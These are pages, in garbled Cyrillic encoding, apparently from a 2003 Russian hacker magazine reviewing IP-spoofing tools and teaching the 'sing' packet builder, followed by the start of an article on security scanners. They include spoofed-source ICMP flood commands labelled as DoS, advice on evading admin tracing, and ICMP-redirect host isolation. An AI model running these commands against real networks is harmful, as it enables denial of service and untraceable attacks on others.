åñòü «ïîñëàòü». Êàê òîëüêî òû íàñò-
ðîèøü âñå êàê òåáå íàäî, äàâè íà
êíîïàðü è ñìîòðè, ÷òî âûëåòàåò ñ
òâîåãî êîìïà. Ïðîãó íå ïîëó÷èòñÿ
èñïîëüçîâàòü êàê smurf-åðà, ïîòîìó
êàê îíà íå óìååò ñëàòü icmp ïàêåòû.
Òàêæå áåñïîëåçíî ïðè ïîìîùè íåå
÷òî-ëèáî ëîìàòü, ïîñêîëüêó ïîëîâè-
íó ïàêåòà îíà ïðîñ÷èòûâàåò ñàìà, à
ñëåäîâàòåëüíî, íå äàñò òåáå ïîìå-
íÿòü ñìåùåíèå ôðàãìåíòàöèè èëè
syn íîìåð ïîñëåäîâàòåëüíîñòè. Ïî
ñóòè, îíà óìååò ñëàòü òîëüêî îäèí
åäèíñòâåííûé âèä ïàêåòîâ - ýòî
ïåðâûé ïàêåò èç ñåðèè «òðîéíîå ðó-

êîïîæàòèå». Âñå ýòè ïàêåòû íå óñòà-
íàâëèâàþò ðåàëüíîãî ñîåäèíåíèÿ, â
ôàéðâîëëå îíè ìîãóò äàæå íå ïîÿ-
âèòüñÿ. Åäèíñòâåííîå, ÷òî ìîæíî
ñäåëàòü ñòðàøíîãî ýòîé ïðîãîé, ýòî
çàáèòü ÷åé-òî êàíàë. Íî ýòî òîëüêî
â òîì ñëó÷àå, åñëè îò òåáÿ ìîæíî
îòïðàâëÿòü ïàêåòû ñ ëåâûé àäðåñîì
îòïðàâèòåëÿ.

ETTERCAP
Â îòëè÷èå îò âñåõ, ýòà ïðîãà óìååò
ñïóôèòü òîëüêî ARP ïàêåòû. Çàòî
äåëàåò ýòî îíà ïðîñòî ïðåêðàñíî.
Ìàëî êîìó ìîæåò ïîíàäîáèòüñÿ
ðó÷íàÿ îòïðàâêà, íî íå óïîìÿíóòü
î íåé íåëüçÿ. Îñîáåííî ó÷èòûâàÿ,
÷òî ýòî ÷óòü ëè íå åäèíñòâåííàÿ
âåðñèÿ ïðîãè, êîòîðàÿ ñ ãîðåì ïî-
ïîëàì, íî ïàøåò ïîä 2k âèíäàìè.

ÍÅÓÄÀ×ÍÈÊÈ
×òî íå ïîøëî â êîðíå. IRX 1.5 - ïîñ-
ëå íàñòðîéêè ñåòåâîé êàðòû, ïðè
ïîïûòêå ñêàíèðîâàíèÿ ïðîñòî ïà-
äàåò â ñèíèé äàìï âìåñòå ñ âèíäîé
win2k SP3. Õîòÿ îáåùàëè, ÷òî ñîç-
äàíà ïðîãà èìåííî äëÿ win2k.
PacketX - ïîñëå ðàñïàêîâêè ïîä
äâóõòûñÿ÷íèê îòêàçàëñÿ ïîäãðó-
æàòü ñâîé äðàéâåð, áàíàëüíî çà-
áèâ íà êíîïêó load driver. Áåç íåãî
íå ðàáîòàåò, ãîâîðèò - «îøèáêà ïðè
îáùåíèè ñ ìîèìè äðîâàìè». Ïîä
98-ìè ïðîñòî ïîñëàë âñåõ, îáåùàÿ
ðàáîòàòü òîëüêî ïîä NT-åé. Â îá-
ùåì, íåïîíÿòíî, ÷òî èìåííî ÷óâàê
õî÷åò îò ìàøèíû.

Â ÖÅËÎÌ
Êàê òû óæå ïîíÿë, ñî ñïóôåðàìè â
ñòðàíå íàïðÿæåíêà. Íî âñå æå ñòî-
èò çàâåñòè íà êîìïå ñòàðóøêó
WIN98 õîòÿ áû äëÿ þçàíüÿ ïåðâûõ
äâóõ ïðîã. À ettercap ïðîñòî íåîá-
õîäèì âñåì, æèâóùèì â ñòðàøíûõ
ëîêàëêàõ, ãäå IP ïðèâÿçàí ê MAC :).

E

Èç-çà êðèâîãî
winsock-à íè
îäíîãî íîð-

ìàëüíîãî ñïó-
ôåðà íà âèíäå

ïîêà íåò.

Êàê îíî ðàáîòàåò ïîä Windows 98

Áèëäåð ïàêåòîâ, íàáîð ñòàíäàðòíûõ

ïàðàìåòðîâ IP



î, êàê ïîíèìàåøü, ýòîò
íåçàìûñëîâàòûé ìåòîä
- íå äëÿ íàñ. Íàñòîÿ-
ùèé õàêåð âñåãäà ïî-

ïûòàåòñÿ äîñêîíàëüíî ðàçîáðàòüñÿ â
êàæäîì ñëó÷àå, êîòîðûé áóäåò åìó
õîòü ñêîëüêî-íèáóäü èíòåðåñåí. Íà-
äåþñü, òû îòíîñèøü ñåáÿ ê òàêîâûì?
Åñëè äà, òî î÷åíü çà òåáÿ ðàä - ó òåáÿ
ìíîãîå ïîëó÷èòñÿ. Äóìàþ, íèêòî íå
áóäåò ñïîðèòü, ÷òî ñïóôèíã çàñëóæè-
âàåò ïîäðîáíîãî èçó÷åíèÿ, òàê êàê
ïîçâîëÿåò ëó÷øå ïîíÿòü ïðèíöèïû
ðàáîòû ñåòè.

SING - ÍÀØ ×ÅËÎÂÅÊ!
Èòàê, ÿ õî÷ó ðàññìîòðåòü íà ïðàêòèêå
ïîñòðîåíèå ñåòåâûõ ïàêåòîâ, ÷åì, â
îáùåì-òî, è ÿâëÿåòñÿ ñïóôèíã. Äëÿ
ýòîãî ìû âîñïîëüçóåìñÿ ïðîãðàììîé
sing, êîòîðàÿ ïîçâîëÿåò çàäàòü äîñ-
òàòî÷íîå êîëè÷åñòâî ïàðàìåòðîâ è
òàêèì îáðàçîì ñîçäàâàòü ïàêåòû ñ
íóæíûìè õàðàêòåðèñòèêàìè.

Ïî÷åìó èìåííî sing? Sing ðàáîòàåò ñ
ïðîòîêîëîì icmp (òàêæå ìîæåò ñîçäà-
âàòü ïàêåòû äðóãèõ òèïîâ, òàêèõ êàê
UDP è TCP), êîòîðûé áîëüøå âñåãî
ïîäõîäèò äëÿ íà÷àëüíîãî èçó÷åíèÿ ñå-
òåâûõ ïðîòîêîëîâ íà ïðàêòèêå. Íà íåì

ïðîùå ïîêàçàòü îñíîâíûå ïðèíöèïû
ïîñòðîåíèÿ ïàêåòà, òàê êàê îí ñîäåð-
æèò ìåíüøå ïàðàìåòðîâ, ÷åì, íàïðè-
ìåð, TCP ïàêåò. Òàêæå íå ñòîèò çàáû-
âàòü, ÷òî íà ïðîòîêîëå icmp îñíîâàíà
ìàðøðóòèçàöèÿ, ïîíÿòèå ïðèíöèïîâ
êîòîðîé òàêæå íå áóäåò ëèøíèì.

ÂÐÓÁÈÌ È ÂÐÓÁÈÌÑß
Óñòàíàâëèâàåì sing. Êà÷àåì àðõèâ
SING-1.1.tgz ñ ñàéòà http://source-
forge.net/projects/sing/. Àðõèâ âå-
ñèò ÷óòü áîëüøå 400 ÊÁ, òàê ÷òî
ñêà÷àòü åãî íå ñîñòàâèò òðóäà. Ðàñ-
ïàêîâûâàåì àðõèâ:

gzip -d SING-1.1.tgz
tar -xvf SING-1.1.tar

Ïîñëå ÷åãî ïåðåõîäèì â ðàñïàêî-
âàííóþ äèðåêòîðèþ. Óñòàíîâêà
ïðîãðàììû ñòàíäàðòíàÿ: ./configure
(./configure --help, åñëè èíòåðåñíû
äîïîëíèòåëüíûå îïöèè), make,
make install. Âñå êîìàíäû äåëàþòñÿ
èç êîðíÿ ðàñïàêîâàííîé äèðû.

Ïîñëå òîãî êàê sing óñòàíîâëåí,
ìîæíî çàíÿòüñÿ íåïîñðåäñòâåííûì
åãî èçó÷åíèåì, à çàîäíî çàòðîíóòü

íåêîòîðûå àñïåêòû èç òåîðèè ïðî-
òîêîëîâ TCP/IP ñòåêà.

Äëÿ íà÷àëà ðàññìîòðèì îáùèå ïà-
ðàìåòðû ðàáîòû ïðîãðàììû. Ïðîñ-
òûå êîìàíäû sing ñõîäíû ñ ping
(sing âîîáùå ïðèçâàí çàìåíèòü ping
êàê ãîðàçäî áîëåå ôóíêöèîíàëüíîå
è ãèáêîå ñðåäñòâî ïî ðàáîòå ñ icmp,
ê òîìó æå íàäî ó÷åñòü, ÷òî sing
âêëþ÷àåò â ñåáÿ âñå ôóíêöèè ping).

Â ïðîñòåéøåì ñëó÷àå çàïóñêàåòñÿ
àíàëîãè÷íî ping ñ òåìè æå ôóíêöèÿìè:

sing 10.26.22.65.

Ïðîñòåéøèé ñïóôèíã îñóùåñòâëÿ-
åòñÿ ñ ïðèìåíåíèåì îïöèè -S:

sing 10.26.22.65 -S 10.26.22.99

Äåëàåì ïèíã, ïîäñòàâëÿÿ ëîæíûé
àäðåñ â îòïðàâëÿåìûå ïàêåòû.

Ýòî ñàìîå ïðîñòåéøåå ïðèìåíå-
íèå ïðîãðàììû sing, êîòîðîå ñãî-
äèòñÿ ëèøü äëÿ ïðèìèòèâíûõ çà-
äà÷, íî äëÿ áîëåå ñåðüåçíûõ çàäà÷
òðåáóåòñÿ èñïîëüçîâàíèå áîëåå
ñëîæíûõ ïàðàìåòðîâ, êîòîðûå ìû
ïî÷åêàåì äàëåå.

"-i" - ïîçâîëÿåò óêàçàòü èíòåð-
ôåéñ, êîòîðûé ñëåäóåò èñïîëüçî-
âàòü ïðè ðàáîòå ñ ïàêåòàìè;

"-s" - çàäàåò ðàçìåð îòïðàâëÿå-
ìîãî ïàêåòà â áàéòàõ, óêàçàíèå ýòî-
ãî ïàðàìåòðà â çíà÷åíèå max, ïîç-
âîëÿåò îòïðàâëÿòü ìàêñèìàëüíî
áîëüøèå ïàêåòû;

"-prot" - çàäàåò ïðîòîêîë äëÿ
îòïðàâëÿåìîãî ïàêåòà, íàïðèìåð,
TCP, UDP, ICMP;

"-seq" - ïîçâîëÿåò çàäàòü íîìåð
ïàêåòà â ïîñëåäîâàòåëüíîñòè;

"-ip_id" - èäåíòèôèêàòîð ïàêåòà;

"-lt" - âðåìÿ æèçíè ïàêåòà â ñå-
êóíäàõ;

"-TOS" - çàäàåò çíà÷åíèå ïîëÿ òèï
ñåðâèñà (type of service). Ýòî òèï òðå-
áóåìîãî îáñëóæèâàíèÿ ñîåäèíåíèÿ
äëÿ óïðàâëåíèÿ åãî ðàáî÷èìè õàðàêòå-
ðèñòèêàìè. Â ÷àñòíîñòè, TOS ïîçâîëÿ-
åò çàäàòü ïðèîðèòåò äëÿ êîíêðåòíîãî
ïàêåòà ïðè åãî ïåðåäâèæåíèè ïî ñåòè.

Çàäàíèå TOS îñóùåñòâëÿåòñÿ çàïîë-
íåíèåì âîñüìè ïîëåé. Ïåðâûå òðè ïî-
ëÿ çàäàþò ïðèîðèòåò ïðè ïåðåäâèæå-
íèè ïî ñåòè. Ñëåäóþùèå òðè ïîëÿ: ïî-
ëå çàäåðæêè, ïîëå ïðîïóñêíîé ñïîñîá-
íîñòè, ïîëå äîñòîâåðíîñòè. Çàäàíèå êà-
êîãî-ëèáî èç ïîëåé â 1 äàåò âûñîêèé
óðîâåíü òðåáóåìîãî ïàðàìåòðà, 0 -
íîðìàëüíûé óðîâåíü. Îñòàâøèåñÿ äâà
ïîëÿ çàðåçåðâèðîâàíû è íå èñïîëüçó-
þòñÿ. Ïîëå ïðèîðèòåòà ìîæåò ïðèíè-
ìàòü, íàïðèìåð, òàêèå çíà÷åíèÿ: 000 -
îáû÷íûé ïðèîðèòåò, 011 - ìãíîâåííàÿ
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Äî òîãî êàê íà÷íåøü ñèíãîâàòü ñ
ïîìîùüþ êàêîãî-íèáóäü ñíèôåðà, óçíàé
MAC àäðåñà â ñâîåé ëîêàëêå è óêàçûâàé
ïðè îòïðàâêå ëîæíûõ ïàêåòîâ èìåííî èõ,
òàê êàê àäìèí ëåãêî ñìîæåò îáíàðóæèòü 
â ñëó÷àå íåîáõîäèìîñòè, ñ êàêîãî êîìïà

øëè çëî-ïàêåòû

Sing òàêæå
âõîäèò â íàáîð
ïàêåòîâ õàêå-
ðñêîé îñè
Trinux
(http://trin-
ux.source-
forge.net/),
òàê ÷òî, åñëè
âñåãäà õî÷åøü
èìåòü ïîä ðó-
êîé íåîáõîäè-
ìûé íàáîð
óòèëèò, ñîâå-
òóþ îáçàâåñ-
òèñü èìåííî
Trinux'îì

yandex.ru? :)

ÍÀÊÎÐÌÈ ÑÅÐÂÀÊ
ßÄÎÂÈÒÛÌ ÏÓÄÈÍÃÎÌ!

Äëÿ èñïîëüçîâàíèÿ ñïóôèíãà â ïðîñòåéøåì ñëó÷àå äîñòàòî÷íî âçÿòü êàêóþ-íèáóäü
íåñëîæíóþ ïðîãðàììó, êîòîðàÿ áóäåò ãåíåðèòü ïàêåòû, íàïðèìåð, ñ ïîääåëüíûì
àéïèøíèêîì, è ñëàòü èõ, êóäà ïîïàëî

Óøàêîâ Àíäðåé 
aka A-nd-Y (Andy_@timus.ru)

ÑÒÐÎÈÌ ÑÂÎÈ ÑÎÁÑÒÂÅÍÍÛÅ ÏÀÊÅÒÛ Â ËÈÍÅ



HOWTO/ÍÀÊÎÐÌÈ ÑÅÐÂÀÊ ßÄÎÂÈÒÛÌ ÏÓÄÈÍÃÎÌ!
O

S
û

 4
h

a
ck

07(32) 2003 page 057

äîñòàâêà. TOS ïîçâîëÿåò òàêèì îáðà-
çîì çàäàâàòü ïàðàìåòðû îáðàáîòêè ïà-
êåòà ïðè ïðîõîæäåíèè åãî ÷åðåç ñåòü.

"-M" - çàäàåò òèï îïåðàöèîííîé
ñèñòåìû â âèäå win, linux è ò.ä.;

"-MAC" - ïîçâîëÿåò óñòàíîâèòü
íóæíûé MAC àäðåñ íà îòïðàâëÿå-
ìûõ ïàêåòàõ;

"-t" - çàäàåò âðåìÿ æèçíè ïàêåòà
TTL, ðåêîìåíäóåìîå çíà÷åíèå íà
äàííûé ìîìåíò - ýòî 64 (ìàêñèìàëü-
íîå ìîæåò áûòü 255), íî ìíîãèå
ñèñòåìû óñòàíàâëèâàþò ñâîé TTL.

Ïî ìåðå ïðîõîæäåíèÿ ÷åðåç ìàðø-
ðóòèçàòîð èçíà÷àëüíîå çíà÷åíèå
TTL óìåíüøàåòñÿ íà åäèíèöó, ïîýòî-
ìó ìîæíî îïðåäåëèòü ïðèìåðíîå êî-
ëè÷åñòâî ìàðøðóòèçàòîðîâ (õîïîâ),
÷åðåç êîòîðîå ïðîøåë ïàêåò.

TTL óñòàíàâëèâàåò, òàêèì îáðàçîì,
ìàêñèìàëüíîå êîëè÷åñòâî ìàðøðóòè-
çàòîðîâ, ÷åðåç êîòîðîå ìîæåò ïðîéòè
ïàêåò. Ïàêåò ñ TTL, ðàâíûì íóëþ, àâ-
òîìàòè÷åñêè îòáðàñûâàåòñÿ ìàðøðó-
òèçàòîðîì è çàêàí÷èâàåò ñâîé ïóòü â
ñåòè, à ìàðøðóòèçàòîð ïîñûëàåò îò-
âåò ñ ïîëåì time exceeded îá èñòå÷å-
íèè âðåìåíè æèçíè ïàêåòà.

Òàêèì îáðàçîì íà îñíîâå icmp è
ïðîèçâîäèòñÿ ìàðøðóòèçàöèÿ â ñå-
òè ïðè ïîìîùè âûÿñíåíèÿ äîñòóï-
íûõ õîñòîâ, êîëè÷åñòâà õîïîâ è ò.ä.

Ïðèìåð çàïóñêà:

sing -i eth0 -s max -prot icmp -S
212.23.95.146 212.23.95.147

Çàñûëàåì êó÷ó îãðîìíûõ ïàêåòîâ
íà õîñò 212.23.95.147 îò èìåíè
212.23.95.146 (ïàðàìåòðû -S).

Âîò ÷òî ïîêàçûâàåò íàì tcpdump:

17:35:12.332005 212.23.95.146 > 212.23.95.147:
icmp (frag 13170:1480@1480+)
17:35:12.332022 212.23.95.146 > 212.23.95.147:
icmp (frag 13170:1480@2960+)
17:35:12.332037 212.23.95.146 > 212.23.95.147:
icmp (frag 13170:1480@4440+)

ÍÀÂÎÐÎÒÛ
Â ïðîãðàììå åñòü òàêàÿ èíòåðåñíàÿ
îïöèÿ, êàê îïðåäåëåíèå îïåðàöèîí-
íîé ñèñòåìû óäàëåííîãî õîñòà. Ýòó
îïöèþ çàäàåò ïàðàìåòð "-O".

Íàïðèìåð:

sing -O 212.23.95.147

Ïîñëå çàâåðøåíèÿ ðàáîòû áóäåò
âûäàíî òàêîå ñîîáùåíèå:

--- 212.23.95.147 sing statistics ---
2 packets transmitted, 2 packets received,
0% packet loss
round-trip min/avg/max = 0.835/0.939/1.044 ms
<*> Remote OS on 212.23.95.147 is a Window$ 2k.

Îïöèÿ "-p" ïîçâîëÿåò çàäàòü ñî-
äåðæèìîå îòïðàâëÿåìîãî ïàêåòà â
âèäå îáû÷íîãî òåêñòà:

sing 212.23.95.145 -p 'You are hacked by cool
HACKER'

Íàïîìíþ, âñå îïåðàöèè sing äîëæ-
íû âûïîëíÿòüñÿ ñ ïðàâàìè root, òàê
êàê òðåáóåòñÿ íåïîñðåäñòâåííàÿ ðà-
áîòà ñ ñåòåâûì èíòåðôåéñîì.

Êàê âèäèøü, äàæå ïåðå÷èñëåííûå
ìíîþ ïàðàìåòðû óæå äàþò âîçìîæ-
íîñòü äîñòàòî÷íî ãèáêîãî ôîðìè-
ðîâàíèÿ ïàêåòà, à â sing åùå íåìà-
ëî ïàðàìåòðîâ.

ß ÒÅÁÅ ÎÄÈÍ 
ÓÌÍÛÉ ÂÅÙÜ ÑÊÀÆÓ!
Ïîëåçíûé ñîâåò. Äî òîãî êàê íà÷íåøü
ñèíãîâàòü ñ ïîìîùüþ êàêîãî-íèáóäü
ñíèôôåðà, óçíàé MAC àäðåñà â ñâîåé
ëîêàëêå è óêàçûâàé ïðè îòïðàâêå ëîæ-
íûõ ïàêåòîâ èìåííî èõ, òàê êàê àäìèí
ëåãêî ñìîæåò îáíàðóæèòü â ñëó÷àå íå-
îáõîäèìîñòè, ñ êàêîãî êîìïà øëè çëî-
ïàêåòû. Ïî÷åìó íóæíî èñïîëüçîâàòü
ìàêè èìåííî èç òâîåé ëîêàëêè? Ïðîñòî
íà ìàðøðóòèçàòîðàõ, åñëè àäìèí íå
ïîëíûé äóðàê, ñòîèò îãðàíè÷åíèå ïî
òîëüêî èçâåñòíûì àäðåñàì, ïîýòîìó
ïðîèçâîëüíûé ìàê þçàòü íå ïîëó÷èòñÿ.

ÌÀÐØÐÓÒÛ ÕÀÊÎÂÑÊÈÅ...
Êàê ÿ óæå ãîâîðèë, sing ëó÷øå âñå-
ãî ðàáîòàåò ñ icmp. Â ÷àñòíîñòè, ó
íåãî åñòü íåìàëî îïöèé, ñâÿçàííûõ
ñ ìàðøðóòèçàöèåé ïðè ïîìîùè
icmp-ïàêåòîâ. Íàïðèìåð, çàäàíèå
òèïà icmp-ïàêåòà (óêàçûâàåòñÿ ïîñ-
ëå îïöèè "-x"):

host-unknown - íåèçâåñòíûé õîñò;
host-unreach - õîñò íåäîñòóïåí;
time_exc - èñòå÷åíèå âðåìåíè

æèçíè ïàêåòà;
redirect - ðåäèðåêò ïàêåòîâ ÷åðåç

äðóãîé ðîóòåð.

Òèïîâ icmp åùå äîñòàòî÷íî ìíîãî,
è ÿ íå áóäó ïåðå÷èñëÿòü èõ âñå. Îò-
ìå÷ó ëèøü òî, ÷òî çàäàíèå îïðåäå-
ëåííîãî òèïà icmp ñ îïðåäåëåííûìè
ïàðàìåòðàìè è ïåðåñûëêà ïàêåòîâ,
íàïðèìåð, íà ðîóòåð îò îïðåäåëåí-
íîãî õîñòà, ìîæåò èçîëèðîâàòü ýòîò
õîñò íà îïðåäåëåííîå âðåìÿ. Âåäü
èìåííî íà icmp îñíîâàíà ìàðøðóòè-
çàöèÿ â Èíòåðíåòå. Ñåêè ôèøêó!

Âñå îïöèè, êîòîðûå îñòàëèñü âíå
ýòîé ñòàòüè, õîðîøî îïèñàíû â "man
sing", òàê ÷òî íàñòîÿòåëüíî ðåêîìåí-
äóþ òåáå åãî ïðî÷èòàòü - ëèøíèì ýòî
òî÷íî íå áóäåò. Òîãäà òû ñìîæåøü èñ-
ïîëüçîâàòü sing î÷åíü ýôôåêòèâíî.

Â sing òàêæå åñòü ìíîæåñòâî îï-
öèé, êîòîðûå òðåáóþò èçó÷åíèÿ ñïå-
öèôèêè ñåòåâûõ ïðîòîêîëîâ, ñåòå-
âîé ìàðøðóòèçàöèè, ñòðóêòóðû ïà-
êåòîâ. Äëÿ ýòîãî íóæíî ïðîæåâàòü
íå îäíó òîëñòåííóþ êíèæêó, íî ñòî-
èò òîãî, åñëè òû äåéñòâèòåëüíî õî-
÷åøü ñòàòü ãóðó â ñâîåì äåëå.

E

Èçó÷àåì ñïóô-ïàêåòû

Ñèíãóåì...

Äîñèì ñ ïîääåëüíûì àéïèøíèêîì

Èíôû ïî ñïó-
ôèíãó â Èíåòå
äîâîëüíî ìàëî,
ïîýòîìó ðåêî-

ìåíäóþ òåáå
èñêàòü åå íå-

ïîñðåäñòâåííî
ïî ñïåöèôèêà-
öèÿì íóæíîãî

ïðîòîêîëà -
ïîëüçû áóäåò

áîëüøå

Äëÿ èçó÷åíèÿ
ñïóôèíãà èñ-

ïîëüçóé ñíèô-
ôåð � â ýòîì

äåëå îí áóäåò
òâîèì ëó÷øèì

ïîìîùíèêîì



ñëè òû õîòü ðàç ñìîòðåë êà-
êîå-íèáóäü èçâåñòíîå êèíî
ïðî êàêóþ-íèáóäü âîéíó (Ðýì-

áî 3, íàïðèìåð), òî òû íàâåðíÿêà çàìåòèë,
÷òî, ïåðåä òåì êàê ñóíóòü ñâîé íîñ â íåïî-
ëîæåííóþ äûðó, ñëàâíûé ïàðåíü - ãëàâíûé
ãåðîé - âñåãäà ïðîâîäèò òàêóþ îïåðàöèþ,
êàê ðàçâåäêà. Åñëè îí ýòîãî íå ñäåëàåò, òî
îáÿçàòåëüíî çàäåíåò êàêóþ-íèáóäü ñèãíàëè-
çàöèþ, ïîòîì åãî áûñòðî-áûñòðî ïîéìàþò è
ïîâåñÿò. Äà ÷åãî äàëåêî õîäèòü, âíèìàòåëü-
íî ïîñìîòðè Ìàòðèöó-2. Åñòü ýïèçîä, â êîòî-
ðîì Òðèíèòè ñíà÷àëà ïðîñêàíèðîâàëà ñåòü
(îíà, êñòàòè, èñïîëüçîâàëà ïðîãðàììó
nmap), óâèäåëà ïîòåíöèàëüíî äûðÿâûé ñåð-
âèñ (ssh), à ïîòîì ïðèìåíèëà ïðîãðàììó-
ýêñïëîèò (sshnuke) äëÿ ïîëó÷åíèÿ äîñòóïà ê
ñèñòåìå ñ ïðàâàìè ñóïåðïîëüçîâàòåëÿ (ÿ
âàëÿþñü! :)). Âñå âèäíî íà êàäðå èç ôèëüìà
ïî àäðåñó http://packetstormsecurity.nl/unix-
humor/nmap-mmatrix2log.jpg.

ÑÊÀÍ Â ÑÅÒÈ - ÍÎÐÌÀ ÆÈÇÍÈ!
Àáñîëþòíî òàêàÿ æå ñèòóàöèÿ ïðîèñõîäèò è â
Ñåòè. Íå íóæíî ëîìèòüñÿ â ÷óæóþ ñåòü èëè íà
÷óæîé óçåë, ïðåäâàðèòåëüíî íå ïðîâåðèâ åå è
íå ñîáðàâ î íåé íåîáõîäèìóþ èíôîðìàöèþ.
Äëÿ ýòèõ öåëåé ÿ ïðåäëàãàþ íà íåêîòîðîå âðå-
ìÿ ñòàòü... àäìèíèñòðàòîðîì èññëåäóåìîé ñåòè.
×òî? Èñïóãàëñÿ? È ïðàâèëüíî. Íàäî áèòü âðà-
ãà åãî æå îðóæèåì. Òâîÿ çàäà÷à, ïåðåä òåì êàê
ïðîâåñòè ñáîð äàííûõ îá óäàëåííîé ñèñòåìå, -
ïðåäñòàâèòü ñåáÿ â ðîëè àäìèíèñòðàòîðà ñåòè,
ïîòåíöèàëüíî ïîäâåðæåííîé àòàêå. Ïî÷óâ-
ñòâóé ñåáÿ â øêóðå àäìèíà è íàó÷èñü äóìàòü
êàê àäìèí. Ïîäóìàé, êàê áû òû ñìîã çàùèòèòü
ñåòü, êàêèå ìåðû ìîã áû òû ïðèíÿòü äëÿ ïðåäî-
òâðàùåíèÿ àòàêè. Ïîòîì ïðèäåò ïîíèìàíèå òî-
ãî, ÊÀÊ íàäî ñîáèðàòü èíôîðìàöèþ îá óäà-
ëåííûõ ñåòÿõ è óçëàõ. À ÷òîáû ýòî ñäåëàòü, òå-
áå íóæåí íåêîòîðûé íàáîð ñïåöèàëüíûõ ïðîã-
ðàìì. Íàáîð, êîòîðûé ïîêàæåò óÿçâèìûå ìåñòà
è äàñò íàâîäêè äëÿ çàêðûòèÿ äûð.

ÀÐÑÅÍÀË
Â àðñåíàëå õîðîøèõ àäìèíèñòðàòîðîâ ñå-
òåé íàõîäèòñÿ îáÿçàòåëüíûé íàáîð ïðîã-
ðàìì äëÿ àíàëèçà ñîñòîÿíèÿ áåçîïàñíîñ-

òè ñåòåé è óçëîâ. Îáùåå íàçâàíèå ýòèõ
ïðîãðàììíûõ ñðåäñòâ - êîìïëåêñíûå ñêà-
íåðû áåçîïàñíîñòè. Ïîä ýòî îïðåäåëåíèå
ïîäïàäàþò è ñêàíåðû ïîðòîâ, ñîáñòâåííî
ñêàíåðû áåçîïàñíîñòè è ñêðèïò-ñêàíåðû.

Íà ñêàíåðàõ ïîðòîâ ìû ñ òîáîé äîëãî îñòà-
íàâëèâàòüñÿ íå áóäåì. Íàâåðíÿêà îá ýòèõ
ïðîãðàììàõ-òðóæåíèöàõ íàïèñàíû âàãîíû
ñëîâ (íó, òû óæå â êóðñå ïðî ïðîãó nmap è
âñå òàêîå). Âîò îñòàëüíîå - òî, ÷òî íàì íóæíî.

Íà÷íó, ïîæàëóé, ñ ñàìîãî ïðîñòîãî.
Ñêðèïò-ñêàíåðû - î÷åíü óçêîíàïðàâëåí-
íîå îðóæèå. Èõ îñíîâíàÿ çàäà÷à ïîìî÷ü
èññëåäîâàòåëþ ñèñòåìû, îáíàðóæèòü íà
óäàëåííîé ìàøèíå ñëóæáû, îáåñïå÷èâàþ-
ùèåñÿ ñöåíàðèÿìè. Òèïè÷íûé ïðèìåð -
cgi-ñöåíàðèé íà web-ñåðâåðå. Åñëè çàïèñü
îá îáíàðóæåííîì ñöåíàðèè ïðèñóòñòâóåò
â ñïåöèàëüíîé áàçå ñêàíåðà, òî ñêàíåð
ñîçäàñò îò÷åò, â êîòîðîì îïèøåò äûðêó è
äàñò ðåêîìåíäàöèè ïî åå èñïîëüçîâàíèþ
èëè óñòðàíåíèþ (âñå çàâèñèò îò òîãî, êòî
òàêîé ñêàíåð ïèñàë).

Òåïåðü íåñêîëüêî ñëîâ î ñêàíåðàõ áåçî-
ïàñíîñòè. Ñêàíåð áåçîïàñíîñòè ïî òèïó
âîçäåéñòâèÿ íà èññëåäóåìûå ñèñòåìû ÿâ-
ëÿåòñÿ àêòèâíûì (äà, â îáùåì-òî, âñå ñêà-
íåðû - àêòèâíîå ñðåäñòâî). Ýòî çíà÷èò, ÷òî
òâîè äåéñòâèÿ ìîãóò áûòü îáíàðóæåíû àä-
ìèíèñòðàòîðîì. Áîÿòüñÿ ýòîãî íå íàäî. Â
ëîãàõ èçó÷àåìîé ñåòè èëè õîñòà ñêàíèðî-
âàíèå êîìïëåêñíîé áåçîïàñíîñòè áóäåò
âûãëÿäåòü êàê ñêàíèðîâàíèå ïîðòîâ. Íî
ýòî âñå åðóíäà. Çà ïðîñòîå ñêàíèðîâàíèå â
òþðüìó íå ïîñàäÿò (òåáÿ æå íå ñàæàþò çà
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ýòîé ðóáðèêå: îá-
çîðû, òåñòû, îïè-

ñàíèå è íàñòðîéêè ñîôòà
ïî òåìå íîìåðà. Èíñòðó-
ìåíòàðèé ðàçðàáîò÷èêîâ,
ïîëåçíûå óòèëèòû, ñïå-
öèàëèçèðîâàííîå è ïðè-
êëàäíîå ÏÎ èç âñåõ
îáëàñòåé êîìïüþòåðíîé
æèçíåäåÿòåëüíîñòè.
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Çäîðîâî, áðîäÿãà. Íà ýòîò ðàç ìû ñ òîáîé ïîãîâîðèì î íàñòî-
ÿùåì äåëå. Òû äóìàåøü, ÷òî ÿ ñåé÷àñ áûñòðåíüêî íàó÷ó òå-
áÿ ïèñàòü �êðÿêåðû Èíòåðíåòà� èëè ïîêàæó, êàê çà ïÿòü ìè-
íóò âñêðûòü óäàëåííóþ ñèñòåìó? Íè ôèãà ïîäîáíîãî! Äëÿ
íà÷àëà ÿ íàó÷ó òåáÿ ñîáèðàòü èíôîðìàöèþ è äóìàòü. Çà÷åì
òåáå ýòî íàäî? Åñëè òû ýòîãî íå ïîíèìàåøü, òî òû - èäèîò, è
ìíå íå î ÷åì ñ òîáîé ðàçãîâàðèâàòü. Äàëüøå ïðîäîëæàòü?

Vitls (vitls@chat.ru)

Ðèñ. 1. Óìíåíüêèé perl-ñêðèïò hackbot
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òî, ÷òî òû ðàçãëÿäûâàåøü âèòðèíó
ìàãàçèíà, õîòÿ îõðàíà òåáÿ âèäèò,
âïðî÷åì è çíàåò, ÷òî âèòðèíà çàùè-
ùåíà äàò÷èêîì ñèãíàëèçàöèè).

Ñêàíåð áåçîïàñíîñòè äåéñòâóåò
òàê. Ñíà÷àëà îí ïðîñìàòðèâàåò ñèñ-
òåìó íà ïðåäìåò îòêðûòûõ ïîðòîâ.
Çàòåì îí ïî î÷åðåäè äåëàåò ïîïûò-
êó ñîåäèíèòüñÿ ñ êàæäîé îòêðûòîé
ñëóæáîé. Ïî õîäó ñòàðàåòñÿ îïðåäå-
ëèòü âåðñèþ ïðîãðàììû-ñåðâèñà è,
ïî âîçìîæíîñòè, âåðñèþ îïåðàöè-
îííîé ñèñòåìû. Ïîêîïàâøèñü â ñâî-
åé áàçå äàííûõ, ñêàíåð �âñïîìèíà-
åò�, êàêèå äûðû áûëè êîãäà-òî íàé-
äåíû â ýòîì ñåðâèñå. Åñëè òàêèõ áà-
ãîâ â áàçå íå îáíàðóæåíî, îí ïîñòà-
ðàåòñÿ èõ ïîèñêàòü ñàìîñòîÿòåëüíî
íà îñíîâå íàáîðà èçâåñòíûõ ìåòî-

äîâ (ïåðåïîëíåíèå áóôåðà, ñòåêà è
ò.ï.) èç äðóãîé áàçû. Ïîòóïèâ òàêèì
ìàêàðîì íåêîòîðîå âðåìÿ, ñêàíåð
